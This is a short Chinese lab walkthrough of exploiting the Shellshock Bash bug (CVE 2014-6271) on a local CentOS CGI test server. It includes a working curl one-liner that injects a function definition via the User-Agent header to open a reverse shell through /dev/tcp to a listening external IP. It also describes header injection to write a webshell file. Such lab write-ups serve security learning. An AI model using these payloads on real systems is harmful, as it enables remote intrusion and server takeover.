CVE 2014-6271 Bash漏洞
这个漏洞是很早之前的漏洞了.这里就不在分析漏洞产生的原理.讲一下如何测试.
本地测试环境 centos6.0 bash 版本 4.1.2(1)-release(x86_64-unknow-linux-gnu) 环境是用的lamp.
首先本地测试有没有存在bash漏洞.
存在漏洞.
接着修改apache配置文件,使得cgi脚本在Web端可以执行.
将前面的#号去掉.
接着关闭SElinux.
1 | vi /etc/sysyconfig/selinux |
检查是否关闭.
关闭SElinux主要是因为它与apache的安全机制存在冲突.
接着在/var/www/cgi-bin/目录下放置cgi脚本用于测试.
0x01反弹shell的poc
创建文件名为poc.cgi
1 |
|
Web端访问测试.
访问成功.
接下来用远程监听,来达到反弹shell的目的.
1 | curl -A "() { :; }; /bin/bash -i > /dev/tcp/xx.xxx.xx.xxx/12666 0<&1 2>&1" http://192.168.159.131/cgi-bin/poc.cgi |
xxx.xxx.xxx.xxx 代表外网的IP,就是正在监听端口的那个IP.
反弹shell成功.
不过要想写文件啥的,还得看权限支不支持.
0x02注入拿shell
用User-Agent注入
写入bug脚本文件
[cc lang=”bash”]
#!/bin/bash
echo “Content-type: text/html”
echo “”
echo “” echo “”
[/cc]
Web端测试.
访问为一片空白.
用BurpSuite抓包进行User-Agent注入.
这里注入是存在对php的过滤机制.进而需要用转义符号.
同理,可以将一句话写入文件,从而拿到shell.
其实其它的头部也是存在注入的,比如Referer..
Referer、UserAgent、header等参数作为环境变量的设置源都可以进行注入。